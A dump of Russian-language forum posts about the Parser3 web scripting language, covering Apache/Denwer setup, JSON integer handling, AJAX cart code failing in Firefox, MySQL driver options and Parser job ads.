Последний раз ставил из парсерной сборки - запустился один раз, с тех пор никак. Запуск run.exe от имени администратора тоже не помогает."
"75443","На папку, в которой лежит парсер стояли права 777.\
\
Надо 755."
"75444","Работаю больше года, все работает, без каких либо дополнительных действий. Что значит не запускается апач?"
"75445","1. Апач не запускается, т.к. система не дает ему прав на это\
2. Апач вроде бы запускается, видно розовое перо в трее на секунду, а потом закрывается системой. В логах - нормальный шатдаун.\
\
В дос-окошке - абракадабра."
"75446","http://seoneophyte.ru/delaem-sayt/Ne-rabotaet-DENWER.html\
И там по ссылкам\
\
У меня на windows 7 home premium вот это http://www.denwer.ru/packages/base_parser.html заработало сразу. Ставил на диск Д, как в статье советуют."
"75447","[code]$json[{\
	\"a\": 123456789012345\
}]\
\
$o[^json:parse[$json]]\
$o.a[/code]\
Получаем [b]-2045911175[/b].\
\
Т.е. парсер пытается засунуть число в int вместо double.\
На опцию $.double(false) тоже не реагирует."
"75448","Боюсь javascript сам по себе у вас с таким числом тоже не справится. Преобразуйте в строку."
"75449","На всякий случай уточню - максимальное число в js -  -1 >>> 1. У Firefox 3.6 это 2^31"
"75450","и bitwise не единственное исключение на операции с ограниченной длиной integer :)"
"75451","Здесь наоборот, преобразование json в парсерный объект. А json может придти из любого места (api стороннего сервиса).\
Собственно, так баг и нашёлся."
"75452","думая про bigint, которого в парсере, увы, нет.\
\
Так что пусть это будет не багом, а фичей."
"75453","Как раз хотел написать в эту сторону дополнение к ответу (очередное).\
\
Вариантом обхода проблемы было бы использование \"натурального\" double (вместо 123456789012345, 123456789012345.0 или 1.2345678901234E+14 (т. к. JSON все-таки от JS - а там таких чисел не бывает).\
\
Либо хранить длинные числа в строке (кстати php json_encode либо в строку, либо во float вышеобозначенный длинные числа записывает)."
"75454","php'шный decode имеет опцию JSON_BIGINT_AS_STRING\
\
В случае с парсером придётся match'ем бегать по json, чтобы квотить большие числа."
"75455","который будет отключать парсинг всех чисел (т.е. все числа будут доступны как строки)"
"75456","Суть: Все работает на parser 3.1 вроде (точно не знаю, но версия парсера старая года 2006) (товар во временную корзину добавляется без перезагрузки страницы с помощью JSHttpRequest, в старых браузерах все работает, в новых начиная с Firefox 4.0 видно что скрипт вроде срабатывает но данные не возвращаются, и содержимое корзины не меняется, т.е. код не работает. Код писал не я, но теперь приходится разбираться мне. Если кто может взяться и помочь, буду очень признателен, готов оплатить работу в пределах разумного конечно же. Обращаться в веб студии не реально, они берутся только за большие проекты. Если кому интересно пишите в личку. Спасибо."
"75457","Возможно, стоит все числа приводить к double? Т.к. это основной тип для чисел в парсере.\
А те, что не будут влезать в ограничение (выбрать максимальное для всех платформ, например, 15 или сколько там цифр), преобразовывать в строку? Это преобразование в строку включать по параметру.\
\
Только это будет работать медленнее варианта с $.numbers(false)."
"75458","[quote]А те, что не будут влезать, преобразовывать в строку[/quote]\
\
Точно плохо. Когда на выходе то число, то строка - отстой.\
\
Что думается:\
\
1. несложно сделать чтобы int в парсере был long long. (поменял 4 строки, и твой тест уже стал выдавать правильный результат). Сама библиотека JSON поддерживает 64-х битные целые.\
\
2. Параметр я бы назвал $.int(false), но возможности такой у библиотеки к сожалению нет, так что это риторическое обсуждение. :) Опять же после выполнения первого пункта необходимость в параметре заметно упадет. :)"
"75459","[quote]Точно плохо. Когда на выходе то число, то строка - отстой.[/quote]\
Я неправильно выразился. При наличии параметра все числа квотятся. Но тогда получается предложенный Мишей вариант...:-)\
\
А раз либу мы не трогаем, то это всё отпадает, и твой вариант с long long вполне решение.\
\
Но тогда и здесь должен быть int, а не double:\
[code]$i(123456789012345)\
$i.CLASS_NAME -- [b]double[/b][/code]"
"75460","В моих случаях с такой проблемой, достаточно было обновить парсер. Наблюдалось только в Лисе."
"75461","искать и править которые может быть сложнее, чем разобраться с одним конкретным местом."
"75462","[quote]Но тогда и здесь должен быть int, а не double:[/quote]\
\
Да, хорошо бы, но это уже отдельная задача. И у нее есть более важная часть (возможно написанное тобой из нее же следует), $i($int) сейчас тоже double. Но это кажется уже не так просто исправить..."
"75463","[quote]$i($int) сейчас тоже double[/quote]\
Вообще-то нет:\
[code]$i(123)\
$i.CLASS_NAME -- double\
\
$i1(^i.int[])\
$i1.CLASS_NAME -- int\
\
$i2($i1)\
$i2.CLASS_NAME -- int\
^reflection:class_name[$i2] -- string (сработало кастование квадратными скобками)\
^reflection:class_name($i2) -- junction:-) (?)[/code]"
"75464","кроме той, что я выявил сам: http://parser.ru/forum/?id=75119\
но она не зависит ни от браузера, ни от версии парсера.\
\
Тем более, что в ФФ скрипты обычно отрабатывают лучше всего. :)"
"75465","подобную оптимизацию совсем несложно делать на этапе компиляции.\
но я не уверен, что это здорово, т.к. будет так:\
$i(1) -- int\
$i(123456789012345) -- double (по крайней мере до расширения диапазона int)"
"75466","история обычная - все работало, потом перестало...\
при попытке запуска через web в error_log появляется следующее:\
\
[code][Wed Jul 20 11:02:17 2011] [error] [client 178.44.204.217] suexec policy violation: see suexec log for more details\
[Wed Jul 20 11:02:17 2011] [error] [client 178.44.204.217] Premature end of script headers: parser3.cgi[/code]\
\
доступа к suexec log у меня нету.\
\
При запуске через командную строку тестового файла (с содержанием типа [i]^eval(2+2)[/i]) - рядом с parser3.cgi создается parser3.log, в котором говориться \"[b]parser already configured[/b]\".\
\
Если сменить имя auto.p, который находится рядом с parser3.cgi - то тогда из командной строки тестовые файлы отрабатывают, но при обращении через web - все та же ошибка -- \"see suexec log for more details\"\
\
\
Письмо суппортам отправил, пока молчание.\
хотелось бы узнать - может быть теоретически такое, что ниже моего document_root (там, куда у меня нет доступа) лежит еще один auto.p и парсер пытается прочитать его? поэтому через web выдается ошибка. А через консоль он может прочитать этот файл?"
"75467","[quote]рядом с parser3.cgi создается parser3.log, в котором говориться \"parser already configured\".[/quote]\
\
Правильно, нельзя запускать парсер из той же директории, где лежит конфигурационный auto.p, поскольку он в итоге обрабатывается дважды - один раз как лежащий рядом с парсером, второй - как лежащий в текущей директории.\
\
Надо запускать не из cgi. Например cgi/parser3.cgi test.html\
\
2misha: кстати может это поправить? :)\
\
[quote]может быть теоретически такое[/quote]\
\
Нет, не может. Если ошибку выдает suexec, значит до запуска парсера дело даже не доходит. Обычная причина ошибок suexec - неправильные права на исполняемый файл парсера или директорию (должны быть 755), несовпадение владельца файла/директория и пользователя, от которого suexec должен запустить парсер."
"75468","[quote]\
история обычная - все работало, потом перестало\
[/quote]\
\
кто-то поломал :)\
\
[quote]\
При запуске через командную строку тестового файла\
[/quote]\
\
сначала парсер выполняет auto.p который лежит рядом с ним самим или который указан в переменной окружения CGI_PARSER_CONFIG.\
\
потом парсер от document_root до текущего файла выполняет все auto.p\
\
указанную ошибку он выдаёт, если повторно встречает определение метода @conf[]\
\
вы не указали, где у вас что находится (бинарник, document_root и тестовый файл), поэтому предположить что-либо сложно."
"75469","с правами/владельцем все вроде правильно\
будем ждать суппортов."
"75470","Конечно же это надо делать после long long, чтобы всегда был честный int."
"75472","Куда копать? Надо отрезать от строки лишнее - в данном случае, чтобы получить количества тысяч, десятков, сотен и единиц по отдельности.\
\
Спасибо."
"75473","[code]@number[]\
$nomer(1934)\
$tys(^math:floor(^eval($nomer/1000)))\
$sto(^math:floor(^eval(($nomer-$tys*1000)/100)))\
$des(^math:floor(^eval(($nomer-$tys*1000-$sto*100)/10)))\
$yed(^math:floor(^eval($nomer-$tys*1000-$sto*100-$des*10)))\
$tys, $sto, $des, $yed[/code]"
"75474","Вот тут что-то не так.\
\
\
[code]@pronounce[]\
^if($tys > 0){^numero.menu{^if($numero.digit eq ^eval($tys*1000)){^if($yed eq 0 && $des eq 0 && $sto eq 0){$numero.pronounce}{$numero.continuing}}{}}}{}\
^if($sto > 0){^numero.menu{^if($numero.digit eq ^eval($sto*100)){^if($yed eq 0 && $des eq 0){$numero.pronounce}{$numero.continuing}}{}}}{}\
\
#надцатые\
^if($des eq 1){\
$nad(^eval($des*10 + $yed))\
^numero.menu{\
^if($numero.digit eq $nad){$numero.pronounce}{}\
}}{\
\
^if($des > 0){^numero.menu{^if($numero.digit eq ^eval($des*10)){^if($yed > 0){$numero.continuing}{$numero.pronounce}}{}}}{}\
^if($yed > 0){^numero.menu{^if($numero.digit eq $yed){$numero.pronounce}{}}}{}}[/code]\
\
Лажа где-то в конечных скобках: если добавить в авто.п что-либо после этого, получаем Unhandled Exception про неожиданный конец :).\
Есть ли какой-то универсальный способ находить такую лажу? Второй час бьюсь.\
\
Вы лично как делаете?"
"75475","Отступы делать надо.\
А вообще все скобки на месте, но зачем вы делаете\
^if(){код}{}\
лишнею пару скобок в конце?"
"75476","[code]$str[1234] \
^str.match[(\\d+)][g]{$match.1,$match.2, $match.3 ,$match.3}[/code]"
"75477","во первых ^eval-ы в данном случае не нужны\
а во вторых есть ещё '\\' -- целочисленное деление. т.е. чтобы получить тысячи:\
[code]\
$tys($nomer\\1000)\
[/code]\
\
P.S. ну и имена у ваших переменных"
"75478","про форматирование кода и ненужные пустые {} вам уже написали.\
\
а находить парные скобки помогают редакторы, подсвечивая их. например бесплатный Notepad++ это умеет.\
\
P.S. в этом коде тоже все ^eval() можно выкинуть за ненадобностью\
P.P.S. а вы, случайно, не [url=/examples/decline/]это[/url] пишите?"
"75480","Спасибо всем кто делится советами :) Как то давно уже пробовали запускать сайт на обновленном парсере и работать он увы не стал, так и оставили как есть. \
У меня очень упрощенный вариант JSHttpRequest. Принцип такой в файле auto.p в корневой папке такой код:\
<script language=\"JavaScript\" \
 src=\".../JSHttpRequest.js\"></script>\
<script language=\"javascript\"><!--\
  function doLoad(which,rdt) {\
  document.getElementById(which).innerHTML;\
    var query = '' + rdt;\
    var req = new JSHttpRequest();\
    req.onreadystatechange = function() {\
      if (req.readyState == 4) {\
        document.getElementById(which).innerHTML = \
          req.responseText;\
      }\
    }\
    req.caching = true;\
    req.open('GET', 'load.html', true);\
    req.send({ q: query });\
  }\
  var timeout = null;\
  function doLoadUp(which,elm) {\
  var tt=null;\
  tt=which+'&first=' + document.getElementById(elm).value + '&second=' + elm;\
    if (timeout) clearTimeout(timeout);\
    timeout = setTimeout(doLoad(which,tt), 1000);\
  }\
//--></script>\
\
\
и еще есть файл в корневой папке JSHttpRequest.js с кодом:\
\
function JSHttpRequest() {}\
(function() {\
  var count       = 0;\
  var pending     = {};\
  var cache       = {};\
\
  JSHttpRequest.dataReady = function(id, text, js) {\
    var th = pending[id];\
    if (th) {\
      if (th.caching) cache[th.hash] = [text, js];\
      th._dataReady(text, js);\
    } else {\
      alert(\"Ошибка: неизвестный id: \"+id);\
    }\
  }\
  \
  JSHttpRequest.prototype = {\
    // Standard properties.\
    onreadystatechange: null,\
    readyState: 0,\
    responseText: null,\
    responseXML: null,\
    status: 200,\
    statusText: \"OK\",\
    // Additional properties.\
    responseJS: null, \
    caching: false,\
    SID: null,\
    // Internals.\
    _span: null,\
      \
    abort: function() { \
      this.readyState = 0;\
      var span = this._span;\
      if (span) {\
        this._span = null;\
        setTimeout(function() {\
          span.parentNode.removeChild(span);\
        }, 100);\
      }\
      return false;\
    },\
      \
    open: function(method, url, asyncFlag, username, password) {\
      if ((\"\"+method).toLowerCase() != 'get') {\
        alert('Only GET method is supported!');\
        return false;\
      }\
      this.url = url;\
      return true;\
    },\
    \
    send: function(content) {\
      var id = count++;\
      var query = [];\
      if (content instanceof Object) {\
        for (var k in content) {\
          query[query.length] = escape(k) + \"=\" + content[k];\
        }\
      } else {\
        query = [content];\
	}\
      var qs = query.join('&');\
      query = 'id=' + id + '&sid=' + this.SID + '&' + qs;\
      var href = this.url + (this.url.indexOf('?')>=0? '&' : '?') + query;\
      var hash = this.url + '?' + qs;\
      this.hash = hash;\
      if (this.caching && cache[hash]) {\
        var c = cache[hash];\
        this._dataReady(c[0], c[1]);\
        return false;\
      }\
      with (document) {\
        var span = body.appendChild(createElement(\"SPAN\"));\
        span.style.display = 'none';\
        span.innerHTML = 'Text for stupid IE.<script></' + 'script>';\
        this._span = span;\
        pending[id] = this;\
        setTimeout(function() {\
          var s = span.getElementsByTagName(\"script\")[0];\
          s.language = \"JavaScript\";\
          s.src = href;\
        }, 10);\
      }\
\
      return true;\
    },\
\
    getAllResponseHeaders: function() {\
      return '';\
    },\
      \
    getResponseHeader: function(label) {\
      return '';\
    },\
\
    setRequestHeader: function(label, value) {\
    },\
    \
    _dataReady: function(text, js) { with (this) {\
      if (text !== null || js !== null) {\
        readyState = 4;\
        responseText = responseXML = text;\
        responseJS = js;\
      } else {\
        readyState = 0;\
        responseText = responseXML = responseJS = null;\
      }\
      onreadystatechange();\
      var span = this._span;\
      if (span) {\
        this._span = null;\
        setTimeout(function() {\
          // without setTimeout - chash in IE 5.0!\
          span.parentNode.removeChild(span);\
        }, 100);\
      }\
    }}\
  }\
})();\
\
и это все работает в IE5, а вот в Firefox`е не работает. Нужно может быть наверно установить последнюю версию кода JSHttpRequest но понятия не имею как это сделать или это ничего не изменит?"
"75481","и можно перебирать через .menu"
"75482","Здравствуйте\
\
Я обновил изходники моей CMS. Теперь уже год как не работаю фрилансером. Делаю немного сайтов, но тот что исправил после первой беты тот собрал и выложил.\
\
http://cms.forjesus.eu/download/"
"75483","Нормально ли будет выполняться код парсера в яваскриптовском условии или он выполнится в любом случае?\
\
[code]@script[id;name]\
<script type=\"text/javascript\" language=\"javascript\">\
function playwav$id () {\
	wmp.URL = \"http://$env:SERVER_NAME/wav/$name\"^;\
	if (wmp.settings.playCount) {\
		^connect[$connect-string]{\
			^void:sql{UPDATE wavsdb\
				SET	old=1\
				WHERE	id=$id\
			}\
		}\
	}\
}\
</script>[/code]"
"75485","судя по js-коду он находится в файле load.html"
"75486","Может кто-то правил, чтобы авторизация была по е-mail и паролю???"
"75487","В этом случае парсеру пофиг на яваскриптовое условие"
"75488","...только сделал свой дочерный класс (myAuth) и некоторые методы сделал по-своему."
"75489","чтоб явоскриптом делать запросы к серверу"
"75490","Понять бы что конкретно нужно, какой пример подыскать. Потому что я не шарю особо в яваскрипте, уж тем более в аяксе или джейсоне. Может быть есть уже готовые решения, чтобы только подкорректировать? Подскажите что у гугла спрашивать?"
"75491","В вашем случае - самое простое решение здесь\
[code]\
<script type=\"text/javascript\" language=\"javascript\">\
function playwav(id) {\
	wmp.URL = \"http://$env:SERVER_NAME/wav/$name\"^;\
	if (wmp.settings.playCount) {\
		fauxajax = new Image();\
		fauxajax.src = '/updateWAVSDB.html?id='+id;\
	}\
}\
</script>\
\
\
updateWAVSDB.html:\
@main[]\
^connect[$connect-string]{\
	^void:sql{UPDATE wavsdb\
		SET	old=1\
		WHERE	id=$form:id\
	}\
}\
[/code]"
"75493","http://cms.forjesus.eu/download/c4j-1.0beta2-without_external.tgz\
\
папка:\
/classes/internal/myAuth.p"
"75494","Можешь в кратце сказать, что именно тут добавлено и исправлено?\
Так же пока не понял, тут функции стекания прав работают так же, как и в auth.p ???"
"75495","прежде всего класс подменает название пользователя с его эмайлом, что ещё я уже забыл. извините\
\
посмотрите внимательно что это только дочерный класс от auth.p, там почти ничего исправлено - только добавленр что-нибудь. Базовый auth.p остался без никаких смен."
"75497","да верно он там, но я подумал проблема именно в js :)\
вот этот код:\
\
@answer[]\
^if($form:q eq \"addpr\"){\
^MAIN:pSQL.server{\
	$auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
^if($form:first == 0){}{^add2TmpDin[$auth_data.user.user_id;$form:second;$form:first]}\
$result[^cartBox[$auth_data.user.user_id]]\
}\
}\
\
@main[]\
$response:content-type[text/javascript]\
$data[JSHttpRequest.dataReady^(\
  $form:id,\
 ^[ ' ^answer[] ' ^]\
^)\
]\
$data"
"75498","вам всё таки самому надо попробовать разобраться в происходящем, т.к. в противном случае долго придётся по кусочкам пытаться понять происходящее.\
\
в общем теперь видно, что \"мясо\" находится или в методе/операторе add2TmpDin или в cartBox.\
\
кроме того, видно что эти методы принимают данные в $form:first и $form:second (хотя внутри никто не запрещает им обращаться к другим элементам form).\
\
в любом случае, на данном этапе я написал-бы несколько строк кода, которые собирали-бы все пришедшие из form данные и записывали их в файл. потом посмотрел, что приходит из Fx4 и Fx3 (ведь в последнем работает?). примерно так:\
[code]\
@dump2file[sFileName][s;k;v]\
$s[^form:fields.foreach[k;v]{$k=^if($v is \"file\"){-file-}{$v}}[^#0A^#0A]]\
^s.save[$sFileName]\
[/code]\
\
кстати ещё вариант -- посмотреть что именно отправляется на сервер в случае Fx3 и Fx3 с помощью firebug."
"75499","Эх, надо чаще заглядывать в примеры...\
\
Изобретаем велосипед:\
\
[code]@noun[cnt;n1;n2;result][r1;r2]\
$r1(^cnt.right(1))\
$r2(^cnt.right(2))\
^if($r2 < 11 || $r2 > 14){\
	^switch($r1){\
		^case(1){$result[$n1]}\
		^case(2;3;4){$result[$n2]}\
	}\
}[/code]"
"75500","т.к.:\
1. до эксперимента не берусь предсказать поведение метода с объявленным во входный переменных переменной с именем result\
2. почитайте changelog к версии 3.4.0. там говорится, что все ветки должны или использовать result, или не использовать. в вашем случае это не так (или как раз срабатывает ваш \"хак\" с входной переменной result? ну... удачи, конечно, но используя хаки будьте готовы править код после выходя очередной версии :) ).\
\
P.S. ну и до кучи вычисление $r1 под ^if унесли-бы, что уж там\
P.P.S. а вообще прикольно."
"75501","[code]@noun[cnt;n1;n2;n5][r1;r2]\
$result[$n5]\
\
$r2(^cnt.right(2))\
\
^if($r2 < 11 || $r2 > 14){\
	$r1(^cnt.right(1))\
	^switch($r1){\
		^case(1){$result[$n1]}\
		^case(2;3;4){$result[$n2]}\
	}\
}\
[/code]\
а какая ветка здесь не использует $result?"
"75502","но вот эти .right(), в случае utf-8, совсем не быстрые операции."
"75503","Проверено, \"хак\" работает...\
Насчет следующих версий вы правы, пожалуй стоит делать как положено по доке."
"75504","ориентируюсь только на два предоставленных примера, оба из них ничего не говорят о том, как эти числа будут использоваться дальше. Можно дополнить ^for[i](0;^str.length[]){...} для универсальности :)\
\
От match предпочитаю отказываться где это возможно и разумно."
"75505","В некоторых местах использую данный тип авторизации средствами апача, мне их вполне хватает, но возник резонный вопроса как принудительно завершить сессию.\
Гуглил, все сводится к механизму, когда авторизации накладывается на программную часть + создание своих сессий или каких либо другими средствами. Может можно какой то параметр прописать в .htaccess для закрытия сессии или отправить какой-то определенный хедер браузеру?"
"75509","В крупную транспортную компанию требуется толковый веб-разработчик, владеющий Parser 3. \
\
Возраст от 23 лет.\
Опыт веб-разработки от 5 лет.\
\
Необходимо хорошее владение Parser3, MySQL, HTML/XHTML/CSS. Желательно знание jQuery, PHP, XSLT. Порадует опыт работы с Adobe Air, Django, мобильными ОС, интеграции с 1С.\
\
Важно уметь проектировать БД и архитектуру кода, очень желательно разбираться в дизайне интерфейсов и юзабилити. Если есть опыт разработки интерфейсов - скрины welcome.\
\
Вы должны быть ответственны, поклоняться логике, удобству и понятности, уметь планировать свою работу.\
\
Проекты интересные. Осваиваем новые технологии и постоянно совершенствуем свои реализации уже применённых.\
\
Работа в офисе на полный рабочий день.\
\
На все вопросы отвечу с j-walker at inbox.ru"
"75510","Добрый день. \
Не ли у кого-нибудь готовой сборки парсера под VPS русоникса? \
Был бы очень благодарен."
"75511","Например, если я хочу узнать сколько секунд длится звуковой файл WAV. В свойствах файла эта информация указана, значит как-то можно её вытащить?"
"75512","Внешний скрипт вам поможет. ^file::exec[]\
Куча софта есть в природе, как под Win, так и под *NIX.\
\
Под freebsd я сразу иду в порты, ищу нечто подходящее и слегка перекомпилирую если надо.\
Под винды лень пересобирать, подстраиваю обработчик вывода текста."
"75513","Как-то написал отчёт, используя кириллические наименования методов и переменных. Всё работало, но смеялся, как дитя. :_)"
"75516","http://sox.sourceforge.net/soxi.html"
"75517","Т. е. лучше с оффсайта http://sox.sourceforge.net\
\
Прийдется, правда, распарсерить вывод регулярками."
"75518","Misha если не затруднит поясните еще такой момент, раньше на локальной машине соединение с БД было по такой схеме\
@auto[]\
$MAIN:pSQL[^mysql::init[mysql://root@localhost/база_данных]]\
\
сейчас как то так, но это же для локалки не подойдет?\
$oSql[^MySql::create[$SQL.connect-string;\
	$.sCacheDir[/../data/sql_cache]\
]]\
\
как же написать сточку с $MAIN т.к. что то не получается БД подключить по такой схеме на денвере3\
\
к базе есть доступ по методике из примеров:\
\
@auto[]\
$connect_string[mysql://root@localhost/test3]\
\
заранее извиняюсь если вопрос наиглупейший :)"
"75519","т.к. два ваших случая создают объекты разных классов (старый mysql и новый MySql), кроме того сама текстовая строка соединения в обоих случаях берутся из разных мест.\
\
это вам надо определиться, как именно у вас что храниться и используется.\
\
$SQL.connect-string -- именно так рекомендуем мы и именно так в виде примера определяется строка соединения в доступном к скачиванию типовом конфигурационном auto.p\
\
но откуда будет браться строка соединения -- совершенно не важно, главное чтобы вы знали где она лежит (когда будете править при переносе на хостинг и обратно) и чтобы вам удобно было её править."
"75520","огромное спасибо за пояснения, я в тупике, пытаюсь пройти весь путь с самого начала, по вашему примеру пытаюсь делать класс авторизации, столкнулся с проблемой, пожалуйста посоветуйте как быть\
# в корневом файле сайта auto.p пишу такой код\
@auto[]\
$oSql[^MySql::create[$SQL.connect-string\
]]\
$SQL.connect_string[mysql://root@localhost/test3]\
\
далее прыгаем в папку auth в ней свой файл auto.p (написанный Вами) в нем такой код\
\
@USE\
Erusage.p\
MySqlComp.p\
auth.p\
\
вопросы\
\
1. где взять файл Erusage.p ?\
2. подключение класса Sql идет через файл MySqlComp.p ? в корневом файле auto.p не нужно указывать напрмиер @USE MySql.p ?\
3. что может означать эта ошибка часто появляется подобная запись $MAIN:CLASS_PATH, \
вот пример Sql.p usage failed - no $MAIN:CLASS_PATH were specified"
"75521","- про Erusage.p можно почитать [url=\"/examples/erusage/\"]в соответствующем примере[/url] (но он вам не нужен)\
\
- что такое MySqlComp можно прочитать в [url=\"/examples/sql/\"]примере[/url] про SQL классы\
\
- про ошибку с неопределённым CLASS_PATH можно почитать в FAQ\
\
P.S. по моему вы решили разобраться вообще со всем кодом. это может затянуться, поэтому я не уверен, что это лучший способ решения вашей проблемы с JSHttpRequest"
"75522","разве эта утилита может просто выводить инфо файла? вроде бы только конвертирует, проигрывает, записывает с широким спектром возможностей... не смог найти там, как тупо получить информацию файла."
"75524","А ещё есть ffmpeg, который тоже умеет показывать метаданные."
"75525","Может, например, чтобы узнать длину дорожки:\
\
dwr:Little Lion Man dwr$ soxi -D 02\\ To\\ Darkness.mp3 \
281.390998\
dwr:Little Lion Man dwr$"
"75526","Собственно сабж. Получается пока не закроешь браузер - тебя помнят авторизованным. Подскажите в какую сторону копать? Извините, вопрос наверняка тупой."
"75530","Попробовал ffmpeg, но теперь не знаю, как вывести результат:\
[code]$fDurExec[^file::exec[c:\\apache\\cgi-bin\\ffmpeg\\ffprobe.exe;;-pretty;-show_format;/wav/$tF.name]]\
$fDurExec.text[/code]\
- получаю пустоту.\
а в cmd выводит, что надо."
"75531","хотя должно было ругаться ошибками.."
"75533","в .stderr он выводит ругань + version info\
\
если указать к звуковому файлу путь от от корня диска -- всё OK\
\
если указываете относительный путь, то ffprobe ищет его относительно себя, а не относительно текущей директории, в котороу расположен обрабатываемый html файл.\
\
ну и файлы с пробелами в именах надо заключать в кавычки.\
\
P.S. я проверил, у меня работает."
"75535","понадобилось на мастерхосте загрузить в базу таблицу из текстового файлика. Если обычный запрос в базу работал нормально, то запрос вида\
LOAD DATA INFILE работать отказался с вываливанием ошибки\
\
[code]The used command is not allowed with this MySQL version [sql.execute][/code]\
\
После письма в саппорт меня отправили вот в эту инструкцию - http://masterhost.ru/support/doc/mysql/#load, но она не помогла, после чего саппорт взялся поподробнее выяснить суть проблемы. Вот резюме:\
[quote]\
Прочитав документацию к Parser, могу сделать вывод, что без правки кода самого\
парсера, включить опцию local-infile нельзя. В данном случае, для импорта\
данных из файла могу предложить средства языка PHP/Perl или утилиту\
mysqlimport. Если вам критично использовать именно Parser, то варианты следующие:\
\
- писать разработчику Parser, чтобы он добавил расширенные возможности\
управления БД, т.к. библиотека libmysqlclient.so имеет все необходимые\
средства для реализации.\
\
- поправить код самостоятельно и получить новый бинарный файл, скомпилировав\
новый код на площадке (компилятор gcc на сервере есть)\
\
- оставить нам заявку на оказание доп. оплачиваемых услуг:[/quote]\
\
что порекомендуете?\
\
где на уровне подсознания всплывает, что такая опция у драйвера либо была либо обсуждалась, но поиск на форуме сейчас не работает."
"75536","судя по их ответу похоже, что mysql-сервер у них собран самостоятельно, соответственно [URL=/doc/refman/5.1/en/load-data-local.html]имеем[/URL]:\
[quote]\
If you build MySQL from source but do not invoke configure with the --enable-local-infile option, LOAD DATA LOCAL cannot be used by any client unless it is written explicitly to invoke mysql_options(... MYSQL_OPT_LOCAL_INFILE, 0)\
[/quote]\
\
т.е. да, надо править драйвер (и пересобирать его), чтобы он устанавливал эту опцию.\
правка достаточно тривиальна, наверное вскоре реализуем её.\
надо добавить такое (например после аналогичной конструкции с named_pipe):\
[code]\
} else if(strcasecmp(key, \"client_local_files\")==0){\
	if(atoi(value))\
		if(mysql_options(connection.handle, MYSQL_OPT_LOCAL_INFILE, 0)!=0)\
			services._throw(mysql_error(connection.handle));\
[/code]"
"75537","Нужен специалист со знанием parser.\
Официальная работа в крупной компании.\
Резюме и вопросы на почту av_vasilyev@rsb.ru"
"75538","Найдётся ли у кого-нибудь готовый файл DOS кодировки (dos.cfg)? Может кто-то уже делал его для себя? Очень не хочется велосипед изобретать."
"75542","Искал не то... кодировка, dos, oem. Надо было cp866, но кто помнит об этом?\
[code]Если по windows-1251 можно найти cp1251, то логично было бы найти cp866 по запросу dos или oem же.[/code]"
"75545","Требуется программист на Parser для разработки модулей сайта. www.nahalyavu.com Необходимо разработать новые опции, например, Календарь Событий, Аукцион и прочие блоки. \
\
Требования:\
опыт работы от 3 лет\
Знание технологий и библиотек:\
Parser3, MySql, AJAX, JQuery\
\
Оплата договорная.\
\
Присылайте свое портфолио с исходниками на адрес: alexrosl@hotmail.com.\
\
Благодарю!"
"75547","у них написано \"Конфигурационный файл и файлы описания кодировок\".\
что не так?"
"75549","Kernel: 2.6.40-4.fc15.x86_64\
\
Что делать? Для федоры я не нашел 64х битный исходник. Или я лох. Помогите. пожалуйста.\
\
Спасибо."
"75550","Должен подойти бинарник от Debian x64"
"75551","Таки подошел. Спасибо."
"75552","Или я забыл написать про какие-нибудь печеньки? =/\
Что-то ни одного вопроса не прислали."
"75553","[quote]Parser3, MySQL, HTML/XHTML/CSS\
...\
Важно уметь проектировать БД и архитектуру кода[/quote]\
\
ты о чем, ведь:\
[quote]Parser — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать.[/quote]\
\
а это:\
[quote]Вы должны быть ответственны, поклоняться логике, удобству и понятности, уметь планировать свою работу.[/quote]\
так вообще фаталити.\
\
:)"
"75554","[quote]Parser — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать.[/quote]\
Я бы сказал парсер имеет низкий порог вхождения, но не ограничивает его возможности )"
"75555","Английский попроще русского, однако же Шекспир кое-кому из наших фору даст. :)\
\
Для чего же нужен простой и удобный язык, если не для того, чтобы освободить голову для проектирования архитектуры? :)\
\
А ты так говоришь, будто тут логово ленивых раздолбаев. ;)\
\
Наверное, я просто разговариваю слишком строгими формулировками. ("
"75556","Вы забыли написать вилку оплаты и об условиях работы.\
\
Ну и Петербург, выборка меньше.\
Я бы вот вполне мог подойти, но увы."
"75557","Оплата у нас от 450 руб/час. В зависимости от задачи.\
При полной загрузке это от 75к/мес."
"75558","Код:\
$request:charset[utf-8]\
$f0[^file::exec[/../cgi-bin/photoshop.gpl]]\
\
ошибка:\
exec failed - ОїЅОїЅ ОїЅОїЅОїЅОїЅОїЅОїЅОїЅ ОїЅОїЅОїЅОїЅОїЅ ОїЅОїЅОїЅОїЅОїЅОїЅОїЅОїЅОїЅ ОїЅОїЅОїЅОїЅ (2). Consider adding shbang line (#!x:\\interpreter\\command line)\
\
Код:\
$request:charset[windows-1251]\
$f0[^file::exec[/../cgi-bin/photoshop.gpl]]\
\
ошибка:\
exec failed - &#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; (2). Consider adding shbang line (#!x:\\interpreter\\command line)\
\
Интересно очень, это Парсер пишет или ему текст ещё откуда-то приходит?\
Если парсер, то что же такое шбанг?"
"75559","http://www.parser.ru/forum/?id=31803"
"75560","Спасибо, а я переводил слово shbang переводчиком и ничего не нашел)\
Это таки парсерное сообщение, и если да, то почему в такой странной кодировке?"
"75562","Неправильно сделано в методе ^self._declare[] : \
\
[code]# path where hashfile files will be located\
$DATA_DIR[/../temp]\
\
# create directory if needed\
^if(!-d $DATA_DIR){\
	$sDummy[dummy]\
	^sDummy.save[$DATA_DIR/dummy]\
}[/code]\
\
Создание директории должно быть после того как она принята из параметров в конструкторе:\
\
[code]^if(def $hParam.sDataDir){\
	$DATA_DIR[$hParam.sDataDir]\
}[/code]\
\
Т.е. кусок с dummy надо перенести в @create\
\
UPD. Вопрос: можно ли задать лимит попыток ввода каптчи? Сейчас одна ошибка и сразу меня банит..."
"75563","Здравствуйте,\
\
Необходимо обновление БД из txt файлов, написал такой код:\
[code]\
$list[^file:list[$path/folder/;\\.txt^$]]\
  ^list.menu{\
\
     $insert[^table::load[$path/folder/${list.name}]]\
     ^insert.menu{\
        ^void:sql{...}\
     }\
  \
     ^file:delete[$path/folder/${list.name}]\
  }\
[/code]\
\
Т.е. просматриваются файлы в папке и каждый файл добавляется в БД.\
\
